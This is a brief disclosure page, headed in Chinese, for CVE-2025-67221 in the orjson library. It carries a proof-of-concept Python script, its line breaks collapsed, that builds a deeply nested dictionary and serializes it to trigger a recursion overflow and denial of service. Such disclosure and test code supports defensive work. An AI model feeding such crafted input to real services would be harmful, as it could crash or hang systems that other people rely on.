CVE-2025-67221 orjson深度嵌套JSON递归溢出拒绝服务漏洞

import orjson import sys # PoC for CVE-2025-67221: Deep nested JSON recursion overflow # This PoC demonstrates the vulnerability by creating a deeply nested JSON structure def create_deeply_nested_json(depth): """Create a deeply nested JSON structure""" obj = {} current = obj for i in range(depth): current['nested'] = {} current = current['nested'] current['value'] = 'trigger' return obj def test_recursion_overflow(depth=1000): """Test orjson with deeply nested JSON""" print(f"[*] Testing orjson with depth={depth}") nested_json = create_deeply_nested_json(depth) try: # This may cause stack overflow or hang depending on depth result = orjson.dumps(nested_json) print(f"[!] Serialization succeeded (depth may not be sufficient)") except RecursionError: print(f"[!] RecursionError detected - vulnerability confirmed") except Exception as e: print(f"[!] Exception: {type(e).__name__} - {e}") if __name__ == "__main__": depth = int(sys.argv[1]) if len(sys.argv) > 1 else 500 test_recursion_overflow(depth)